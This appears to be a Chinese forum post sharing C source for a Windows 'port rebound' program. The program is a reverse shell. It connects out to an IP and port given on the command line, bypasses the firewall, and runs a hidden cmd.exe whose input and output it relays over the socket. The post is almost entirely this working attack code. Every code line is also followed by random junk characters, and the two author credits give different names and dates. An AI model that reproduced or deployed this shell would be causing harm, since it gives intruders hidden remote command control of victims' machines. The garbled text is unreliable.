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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~NrG` D}  
~9a<0Mc?  
/* ============================== ?/wm(uL  
Rebound port in Windows NT )0.kv2o.  
By wind,2006/7 T6y\|  
===============================*/ 3 Gp$a;g  
#include '1P2$#  
#include ?Ny9'g>?  
9N#_( uwt  
#pragma comment(lib,"wsock32.lib") 0rQMLx  
>a!/QMh  
void OutputShell(); Z, zWuE3  
SOCKET sClient; #vz7y(v  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q 04al=  
y|C(X  
void main(int argc,char **argv) qTRsZz@  
{ ,8S/t+H  
WSADATA stWsaData; .KB^3pOpx  
int nRet; &n}]w+w  
SOCKADDR_IN stSaiClient,stSaiServer; X[-xowE-  
`&r+F/Ap2  
if(argc != 3) #`qx<y*S  
{ dc+>m,3$  
printf("Useage:\n\rRebound DestIP DestPort\n"); !fV+z%:  
return; Avge eJi  
} O W_{$9U  
IA fc T!{  
WSAStartup(MAKEWORD(2,2),&stWsaData); 1*P~!2h  
.wEd"A&j  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *<$*"p  
ttaM.  
stSaiClient.sin_family = AF_INET; aq>kTaz  
stSaiClient.sin_port = htons(0); & TCkpS  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); zq 3\}9  
}kw#7m54  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @+&LYy72  
{ x 77*c._3v  
printf("Bind Socket Failed!\n"); !{+,B5 Hc  
return; t >L2  
} QGMV}y  
JinUV6cr  
stSaiServer.sin_family = AF_INET; \0^Kram>  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $P >  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); A6  
h/QXPdV  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +C^nO=[E  
{ _>o:R$ %}  
printf("Connect Error!"); w1F cB$  
return; $f$SNx)),  
} f%A;`4 `q  
OutputShell(); #>a\>iKQ2q  
} S^JbyD_yoh  
6gU96Z  
void OutputShell() <.%4 ! }f8  
{ Ij7p' a  
char szBuff[1024]; rP'me2 B  
SECURITY_ATTRIBUTES stSecurityAttributes; 0.Q Ujw  
OSVERSIONINFO stOsversionInfo; =1@u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2,y|EpG#  
STARTUPINFO stStartupInfo; 'NbHa!  
char *szShell; G~]Uk*M q  
PROCESS_INFORMATION stProcessInformation; k`cfG\;r  
unsigned long lBytesRead; ^L,K& Jd  
=bAx,,D#  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vRTkgH#4l  
ob!P ;]T  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); kl" hBK#D%  
stSecurityAttributes.lpSecurityDescriptor = 0; XMCXQs&  
stSecurityAttributes.bInheritHandle = TRUE; nd`1m[7MNu  
L@rcK!s,lD  
:ffY6L+  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); fQ7V/x!  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); p0]=QH  
\wmN  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l&[O  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1Te %F+7  
stStartupInfo.wShowWindow = SW_HIDE; \a<wKTkn  
stStartupInfo.hStdInput = hReadPipe; U%-A?5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [=C6U_vU  
g/4[N{Xf  
GetVersionEx(&stOsversionInfo); m 1b?J3   
;2G*wR  
switch(stOsversionInfo.dwPlatformId) ]iVcog"T  
{ y4yhF8E>;U  
case 1: ]43/`FX  
szShell = "command.com"; 'z8pzMmT  
break; rD tY[  
default: JhYe6y[q  
szShell = "cmd.exe"; vN}#Kc\  
break; DmK57V4L^  
} VCYwzB  
\eTwXe]Pv  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _r#Z}HK  
!6 #X>S14  
send(sClient,szMsg,77,0); XE RUo  
while(1) v4<nI;Ux  
{ 3l]lwV  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); t}a: p6D]  
if(lBytesRead) f^3*)Ni  
{ 7jrt7[{  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2F[ q).  
send(sClient,szBuff,lBytesRead,0); O *C;Vqt  
} QP==?g3  
else Xxj- 6i  
{ ,O5NLg-  
lBytesRead=recv(sClient,szBuff,1024,0); Ha#= (9.  
if(lBytesRead<=0) break; 6{K,c@VFd  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _~m5^Q&  
} ux-/>enc  
} AF{\6<m  
iO{hA  
return; krxo"WgD  
}
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